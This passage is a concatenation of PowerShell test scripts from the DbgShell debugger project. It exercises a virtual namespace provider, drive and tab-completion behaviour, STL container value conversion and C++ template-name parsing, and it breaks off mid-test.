Copy-Item a\* b Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual 3 (dir b).Count rmdir b -Recurse Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir b*) Copy-Item a b -Recurse Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual 3 (dir b).Count Copy-Item a\i1 b\i4 Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual 4 (dir b).Count # # Let's test some things that should fail. # Copy-Item a a -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Copy-Item a a\a -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Copy-Item a\i1 a\i1 -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Copy-Item a\i1 b\i1 -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() # TODO: there's a lot more to test Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/DriveTests.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext [int] $initialDriveCount = (Get-PSDrive -PSProvider Debugger).Count $fooDir = mkdir foo cd foo $fooDrive = New-PSDrive zot Debugger .\ Verify-AreEqual 0 ($global:error.Count) if( (Get-PathBugginessStyle) -eq 'CertificateProvider' ) { Verify-AreEqual "\foo" $fooDrive.Root } else { Verify-AreEqual "foo" $fooDrive.Root } Verify-AreEqual ($initialDriveCount + 1) ((Get-PSDrive -PSProvider Debugger).Count) cd zot:\ mkdir bar | Out-Null cd Dbg:\foo $stuff = @( dir ) Verify-AreEqual 1 $stuff.Count Verify-AreEqual "bar" $stuff[ 0 ].Name Remove-PSDrive $fooDrive Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual ($initialDriveCount) ((Get-PSDrive -PSProvider Debugger).Count) $fooDrive = $null Verify-AreEqual 0 ($global:error.Count) if( (Get-PathBugginessStyle) -eq 'RegistryProvider' ) { # This next command should fail (blocked because of Windows 8 Bugs 922001): $fooDrive = New-PSDrive fooDrive Debugger .\ -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() } Verify-IsNull $fooDrive cd \ rmdir .\foo -Recurse Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/Globbing.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $oldPathBugginessStyle = Get-PathBugginessStyle Push-Location Dbg:\ Set-PathBugginessStyle RegistryProvider $fooDir = mkdir foo $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) cd foo mkdir bar | Out-Null $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) # # Now switching to a provider-qualified current working directory. # cd Debugger:: Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) cd Debugger::\ Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\f" -cursorColumn 7 Verify-AreEqual ".\foo" ($m.CompletionMatches[0].CompletionText) # NOTE: When PowerShell bug "Windows 8 Bugs 929380" is fixed, then this test will fail. $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "foo" ($m.CompletionMatches[0].CompletionText) cd Debugger::foo Verify-AreEqual "Debugger\Debugger::foo" ($pwd.Path) cd Debugger::\foo Verify-AreEqual "Debugger\Debugger::foo" ($pwd.Path) $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) # # Switching to Certificate provider-style path bugginess. # Set-PathBugginessStyle CertificateProvider cd Dbg:\ # NOTE: When PowerShell bug "Windows 8 Bugs 929390" is fixed, then this test will fail. $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) cd foo $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) # # Now switching to a provider-qualified current working directory. # cd Debugger:: Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) cd Debugger::\ Verify-AreEqual "Debugger\Debugger::" ($pwd.Path) Verify-AreEqual 2 ((dir).Count) # NOTE: When PowerShell bug "Windows 8 Bugs 929390" is fixed, then this test will fail. $m = TabExpansion2 "dir f" -cursorColumn 5 Verify-AreEqual ".\\foo" ($m.CompletionMatches[0].CompletionText) # NOTE: When PowerShell bug "Windows 8 Bugs 929390" is fixed, then this test will fail. $m = TabExpansion2 "dir .\f" -cursorColumn 7 Verify-AreEqual ".\\foo" ($m.CompletionMatches[0].CompletionText) # Unlike the RegistryStyle bugginess, this behavior works right. $m = TabExpansion2 "dir \f" -cursorColumn 6 Verify-AreEqual "\foo" ($m.CompletionMatches[0].CompletionText) cd Debugger::foo Verify-AreEqual "Debugger\Debugger::\foo" ($pwd.Path) cd Debugger::\foo Verify-AreEqual "Debugger\Debugger::\foo" ($pwd.Path) $m = TabExpansion2 "dir b" -cursorColumn 5 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir .\b" -cursorColumn 7 Verify-AreEqual ".\bar" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Dbg:\f" -cursorColumn 10 Verify-AreEqual "Dbg:\foo" ($m.CompletionMatches[0].CompletionText) $m = TabExpansion2 "dir Debugger::\f" -cursorColumn 16 Verify-AreEqual "Debugger::\foo" ($m.CompletionMatches[0].CompletionText) Set-PathBugginessStyle $oldPathBugginessStyle Pop-Location Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/MoveItem.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $a = New-Item a [string] $content1 = "hi" Set-Content a $content1 Move-Item a b Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir a*) Verify-AreEqual 1 ((,(dir b*)).Count) Verify-AreEqual $content1 (Get-Content b) [void] (mkdir c_dir) Move-Item b c_dir Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir b*) Verify-AreEqual 1 ((,(dir c_dir)).Count) Verify-AreEqual $content1 (Get-Content c_dir\b) Move-Item c_dir d_dir Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir c*) Verify-AreEqual 1 ((,(dir d_dir)).Count) Verify-AreEqual $content1 (Get-Content d_dir\b) # # Let's test some things that should fail. # [void] (mkdir d_dir\e_dir) Move-Item d_dir d_dir\e_dir -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/ProviderTests.metadata ================================================ Set-StrictMode -Version Latest function PrepareForTest() { # Prepares a fresh virtual namespace for us to party on. Push-Namespace $TestContext = Get-TestContext $pbs = $TestContext.Properties[ "PathBugginessStyle" ] if( $pbs ) { Write-Host "Using PathBugginessStyle: $pbs." -Fore Yellow Set-PathBugginessStyle $pbs } $useProviderQualifiedWorkingDirectory = $TestContext.Properties[ "UseProviderQualifiedWorkingDirectory" ] if( $useProviderQualifiedWorkingDirectory ) { Write-Host "Using a provider-qualified working directory." -Fore Yellow cd Debugger::\ } } function CleanupFromTest() { # Throws away the current virtual namespace, getting rid of any potential leftovers. Pop-Namespace } # end CleanupFromTest() # You might be tempted to factor out ALL common initialization code to put into # the 'TestInitialize' script block--but don't do it. This way, the tests # remain independenty executable (you can just dot-source them at the command # line, which is very useful for debugging them). $metadata = @{ "*.ps1" = @{ "TestInitialize" = { PrepareForTest } "TestCleanup" = { CleanupFromTest } }; } Register-TestMetadata $metadata ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/RenameItem.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $a = New-Item a [string] $content1 = "hi" Set-Content a $content1 Rename-Item a b Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir a*) Verify-AreEqual 1 ((,(dir b*)).Count) Verify-AreEqual $content1 (Get-Content b) [void] (mkdir c_dir) Move-Item b c_dir Rename-Item c_dir\b c Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (dir b*) Verify-AreEqual 1 ((,(dir c_dir)).Count) Verify-AreEqual $content1 (Get-Content c_dir\c) # # Let's test some things that should fail. # Rename-Item c_dir\c "c*\!@" -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() $d = New-Item c_dir\d Rename-Item c_dir\c d -ErrorAction SilentlyContinue # so that we don't see scary red stuff in the output Verify-AreEqual 1 ($global:error.Count) $global:error.Clear() Verify-AreEqual 0 ($global:error.Count) ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/ReentrantConversion.Tests.ps1 ================================================ Describe "ReentrantConversion" { Register-DbgValueConverterInfo { New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!Base' -Converter { try { $symbol = $_ # $oldVal = Get-Variable 'stockValue*' -ValueOnly # if( $null -ne $oldVal ) # { # Write-Host "In Base converter: old `$stockValue members:" # Write-Host ($stockValue | gm | Out-String) # } # else # { # Write-Host "In Base converter: no old `$stockValue" # } $stockValue = $_.GetStockValue() # Write-Host "In Base converter: new `$stockValue members:" # Write-Host ($stockValue | gm | Out-String) # Write-Host "Hi! The type is $($stockValue.m_typeTag)" # Write-Host ($_ | gm | Out-String) switch( $stockValue.m_typeTag ) { 0 { # Type1 return (Get-DbgSymbolValue -Address $symbol.Address -TypeName 'TestNativeConsoleApp!Type1') } 1 { # Type2 return (Get-DbgSymbolValue -Address $symbol.Address -TypeName 'TestNativeConsoleApp!Type2') } 2 { # Type3 return (Get-DbgSymbolValue -Address $symbol.Address -TypeName 'TestNativeConsoleApp!Type3') } default { throw "Type tag looks wrong; something's broken." return $stockValue } } # end switch( m_typeTag ) } finally { } } # end 'TestNativeConsoleApp!Base' converter } Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName 'TestNativeConsoleApp!Base' { New-AltSingleLineViewDefinition { # $oldVal = Get-Variable 'cs*' -ValueOnly # if( $null -ne $oldVal ) # { # Write-Host "In Base custom view definition: old `$cs value: $($oldVal.ToString( $false ))" # } # else # { # Write-Host "In Base custom view definition: no old `$cs" # } #$cs = New-ColorString -Content $_.context.Name $cs = New-ColorString -Content $_.ToString() $null = $cs.Append( " " ).AppendPushPopFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkMagenta, $_.m_name ) $cs }.GetNewClosure() # end AltSingleLineViewDefinition } # end Type TestNativeConsoleApp!Base } pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow It "can handle reentrant symbol value conversion" { $g = Get-DbgSymbol TestNativeConsoleApp!g_polymorphicThings $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 'Polymorphic thing 1' | Should Be ($gv[0].m_name) 'Polymorphic thing 2' | Should Be ($gv[1].m_name) 'Polymorphic thing 3' | Should Be ($gv[2].m_name) 'zero' | Should Be ($gv[0].m_map[0]) 'one' | Should Be ($gv[0].m_map[1]) 'two' | Should Be ($gv[0].m_map[2]) 'zero' | Should Be ($gv[1].m_vector[0]) 'one' | Should Be ($gv[1].m_vector[1]) 'two' | Should Be ($gv[1].m_vector[2]) # Uh... why did I do this 3 times? 42 | Should Be ($gv[2].m_i) 42 | Should Be ($gv[2].m_i) 42 | Should Be ($gv[2].m_i) # # Make sure we don't have crazy aliasing trouble when a converter returns # one of its children. # $g = Get-DbgSymbol TestNativeConsoleApp!g_uniquePtr $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 'abcdefghi' | Should Be $gv } Remove-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!Base' Remove-AltTypeFormatEntry -TypeName 'TestNativeConsoleApp!Base' .kill PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/StlTypeConversion.Tests.ps1 ================================================ Describe "StlTypeConversion" { pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow It "can handle vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.size()) 4 | Should Be ($gv.Count) 10 | Should Be ($gv.capacity()) 0 | Should Be ($gv[0]) 1 | Should Be ($gv[1]) 2 | Should Be ($gv[2]) 3 | Should Be ($gv[3]) # It got converted to a System.Collections.ObjectModel.ReadOnlyCollection, but make # sure that .ToString() gives the symbol type name. # # Dev12: std::vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_wsVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.size()) 4 | Should Be ($gv.Count) 10 | Should Be ($gv.capacity()) "zero" | Should Be ($gv[0]) "one" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "three" | Should Be ($gv[3]) } It "can handle vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_sVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.size()) 4 | Should Be ($gv.Count) 10 | Should Be ($gv.capacity()) "zero" | Should Be ($gv[0]) "one" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "three" | Should Be ($gv[3]) } It "can handle vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_bVector $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 3 | Should Be ($gv.Count) ($gv[0]) | Should Be $true ($gv[1]) | Should Be $false ($gv[2]) | Should Be $true [bool] $itThrew = $false try { $gv[3] } catch { $itThrew = $true # Expected. } $itThrew | Should Be $true } It "can handle an empty vector" { $g = Get-DbgSymbol TestNativeConsoleApp!g_bVectorEmpty $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) } It "can handle a map" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intStringMap $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.Count) "zero" | Should Be ($gv[0]) "one" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "three" | Should Be ($gv[3]) } It "can handle a map" { $g = Get-DbgSymbol TestNativeConsoleApp!g_stringStringMap $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.get_Count()) "nothing" | Should Be ($gv["zero" ]) "something" | Should Be ($gv["one" ]) "a couple" | Should Be ($gv["two" ]) "several" | Should Be ($gv["three"]) } It "can handle a multimap" { $g = Get-DbgSymbol TestNativeConsoleApp!g_stringStringMultimap $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.get_Count()) 8 | Should Be ($gv.get_UncollapsedCount()) ($gv.get_IsReadOnly()) | Should Be $true "nothing" | Should Be ($gv["zero" ][ 0 ]) "something" | Should Be ($gv["one" ][ 0 ]) "a couple" | Should Be ($gv["two" ][ 0 ]) "several" | Should Be ($gv["three"][ 0 ]) "nothing again" | Should Be ($gv["zero" ][ 1 ]) "something again" | Should Be ($gv["one" ][ 1 ]) "a couple again" | Should Be ($gv["two" ][ 1 ]) "several again" | Should Be ($gv["three"][ 1 ]) "one" | Should Be ($gv.get_KeyByIndex()[ 0 ]) "one" | Should Be ($gv.get_KeyByIndex()[ 1 ]) "three" | Should Be ($gv.get_KeyByIndex()[ 2 ]) "three" | Should Be ($gv.get_KeyByIndex()[ 3 ]) "two" | Should Be ($gv.get_KeyByIndex()[ 4 ]) "two" | Should Be ($gv.get_KeyByIndex()[ 5 ]) "zero" | Should Be ($gv.get_KeyByIndex()[ 6 ]) "zero" | Should Be ($gv.get_KeyByIndex()[ 7 ]) "something" | Should Be ($gv.get_ValueByIndex()[ 0 ]) "something again" | Should Be ($gv.get_ValueByIndex()[ 1 ]) "several" | Should Be ($gv.get_ValueByIndex()[ 2 ]) "several again" | Should Be ($gv.get_ValueByIndex()[ 3 ]) "a couple" | Should Be ($gv.get_ValueByIndex()[ 4 ]) "a couple again" | Should Be ($gv.get_ValueByIndex()[ 5 ]) "nothing" | Should Be ($gv.get_ValueByIndex()[ 6 ]) "nothing again" | Should Be ($gv.get_ValueByIndex()[ 7 ]) $keys = @() $gv.get_Keys() | %{ $keys += $_ } "one" | Should Be ($keys[0]) "three" | Should Be ($keys[1]) "two" | Should Be ($keys[2]) "zero" | Should Be ($keys[3]) $values = @() $gv.get_Values() | %{ $values += ,$_ } "something" | Should Be ($values[ 0 ][ 0 ]) "several" | Should Be ($values[ 1 ][ 0 ]) "a couple" | Should Be ($values[ 2 ][ 0 ]) "nothing" | Should Be ($values[ 3 ][ 0 ]) "something again" | Should Be ($values[ 0 ][ 1 ]) "several again" | Should Be ($values[ 1 ][ 1 ]) "a couple again" | Should Be ($values[ 2 ][ 1 ]) "nothing again" | Should Be ($values[ 3 ][ 1 ]) # Make sure we didn't break formatting $gv | Out-String } It "can handle sets" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intSet0 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet1 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 1 | Should Be ($gv.Count) "zero" | Should Be ($gv[0]) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet2 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 2 | Should Be ($gv.Count) # alphabetical order "one" | Should Be ($gv[0]) "zero" | Should Be ($gv[1]) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet3 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 3 | Should Be ($gv.Count) # alphabetical order "one" | Should Be ($gv[0]) "two" | Should Be ($gv[1]) "zero" | Should Be ($gv[2]) $g = Get-DbgSymbol TestNativeConsoleApp!g_wsSet4 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 4 | Should Be ($gv.Count) # alphabetical order "one" | Should Be ($gv[0]) "three" | Should Be ($gv[1]) "two" | Should Be ($gv[2]) "zero" | Should Be ($gv[3]) $g = Get-DbgSymbol TestNativeConsoleApp!g_intSet50 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 50 | Should Be ($gv.Count) for( $i = 0; $i -lt 50; $i++ ) { ($i) | Should Be ($gv[$i]) } $g = Get-DbgSymbol TestNativeConsoleApp!g_intMultiset10 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 10 | Should Be ($gv.Count) for( $i = 0; $i -lt 10; $i++ ) { # N.B. PowerShell seems to round or something (instead of # truncating like in C-family languages). ([Math]::Floor( $i / 2 )) | Should Be ($gv[ $i ]) } } It "can handle lists" { $g = Get-DbgSymbol TestNativeConsoleApp!g_intList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 10 | Should Be ($gv.Count) for( $i = 0; $i -lt 10; $i++ ) { ($i) | Should Be ($gv[$i]) } $g = Get-DbgSymbol TestNativeConsoleApp!g_emptyIntList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) $g = Get-DbgSymbol TestNativeConsoleApp!g_intForwardList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 10 | Should Be ($gv.Count) for( $i = 0; $i -lt 10; $i++ ) { # because I add the elements with push_front (9 - $i) | Should Be ($gv[$i]) } $g = Get-DbgSymbol TestNativeConsoleApp!g_emptyIntForwardList $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 0 | Should Be ($gv.Count) } It "can handle hashmaps" { $g = Get-DbgSymbol TestNativeConsoleApp!g_hm_03 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 3 | Should Be ($gv.Count) $gv['0'].Count | Should Be 1 $gv['1'].Count | Should Be 1 $gv['2'].Count | Should Be 1 $gv['0'][0] | Should Be "" $gv['1'][0] | Should Be "z" $gv['2'][0] | Should Be "zz" } It "can handle uniquePtr" { $g = Get-DbgSymbol TestNativeConsoleApp!g_uniquePtr $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 9 | Should Be ($gv.Length) "abcdefghi" | Should Be $gv } It "can handle the small string optimization" { # Test boundary conditions for "small string optimization". 'g_wstrings', 'g_strings' | %{ $g = Get-DbgSymbol "TestNativeConsoleApp!$_" $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true for( [int] $i = 0; $i -lt 22; $i++ ) { (New-Object 'System.String' -Arg @( ([char] 'a'), $i )) | Should Be $gv[ $i ] } } } .kill PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/TemplateMatching.Tests.ps1 ================================================  Describe "TemplateMatching" { It "can crack string templates" { $typeName1 = "std::basic_string,std::allocator,_STL70>" $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string' ) $ti1.Matches( $ti1 ) | Should Be $true $ti1.Matches( $ti2 ) | Should Be $true $ti2.Matches( $ti1 ) | Should Be $true $ti3 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string2' ) $ti1.Matches( $ti3 ) | Should Be $false $ti3.Matches( $ti2 ) | Should Be $false $ti4 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string,?,_STL70>' ) $ti1.Matches( $ti4 ) | Should Be $true $ti4.Matches( $ti1 ) | Should Be $true $ti4.Matches( $ti4 ) | Should Be $true } It "can deal with weird spacing" { # Notice that this template name has some odd spacing. $typeName2 = "std::vector >" $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName2 ) $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::vector' ) $ti1.Matches( $ti1 ) | Should Be $true $ti1.Matches( $ti2 ) | Should Be $true $ti2.Matches( $ti1 ) | Should Be $true $ti3 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::vector>' ) $ti1.Matches( $ti3 ) | Should Be $true $ti3.Matches( $ti1 ) | Should Be $true $ti3.Matches( $ti3 ) | Should Be $true } It "can deal with nested types" { $typeName1 = 'std::list >::iterator' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list' ) $ti1.Matches( $ti1 ) | Should Be $true $ti1.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti1 ) | Should Be $false $ti3 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list::iterator' ) $ti3.Matches( $ti3 ) | Should Be $true $ti1.Matches( $ti3 ) | Should Be $true $ti3.Matches( $ti1 ) | Should Be $true $ti3.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti3 ) | Should Be $false $typeName1 = 'std::list >::blah' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti1 ) | Should Be $false $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list::blah' ) $ti1.Matches( $ti2 ) | Should Be $false $ti2.Matches( $ti1 ) | Should Be $false $ti2 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::list::blah' ) $ti1.Matches( $ti2 ) | Should Be $true $ti2.Matches( $ti1 ) | Should Be $true } It "can deal with special non-template names" { # Special non-template name. $unnamedTagName = '' $typeName1 = $unnamedTagName $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false $ti1.FullName | Should Be $unnamedTagName $ti1.TemplateName | Should Be $unnamedTagName ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $unnamedTagName )) | Should Be $false $ti1.HasConst | Should Be $false $unnamedTagName = '_ULARGE_INTEGER::' $typeName1 = $unnamedTagName $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false $ti1.FullName | Should Be $unnamedTagName $ti1.TemplateName | Should Be $unnamedTagName ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $unnamedTagName )) | Should Be $false $ti1.HasConst | Should Be $false $unnamedTagName = '_ULARGE_INTEGER::::foo' $typeName1 = $unnamedTagName $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be $unnamedTagName $ti1.TemplateName | Should Be '_ULARGE_INTEGER::::foo' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $unnamedTagName )) | Should Be $true $ti1.HasConst | Should Be $false } It "can deal with short names" { $typeName1 = 'A' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be 'A' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false $typeName1 = 'A::C' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be 'A' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false $ti1.NestedNode -ne $null | Should Be $true $ti1.NestedNode.TemplateName | Should Be 'C' $ti1.NestedNode.IsTemplate | Should Be $false } It "can deal with function types" { $typeName1 = 'FrsStatus* (*fn)( Db*, DbIterator*, ID_RECORD*, Int4B* )' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be $typeName1 ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $ti1.HasConst | Should Be $false } It "can deal with anonymous namespace thing" { $typeName1 = 'VolatilePtr<`anonymous namespace''::AptcaKillBitList,A0x8f085d03::AptcaKillBitList *>' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'VolatilePtr<`anonymous namespace''::AptcaKillBitList,A0x8f085d03::AptcaKillBitList*>' $ti1.TemplateName | Should Be 'VolatilePtr' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false } It "can deal with const" { $typeName1 = 'std::pair const ' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'std::pair' # We trim off "const" $ti1.HasConst | Should Be $true $ti1.TemplateName | Should Be 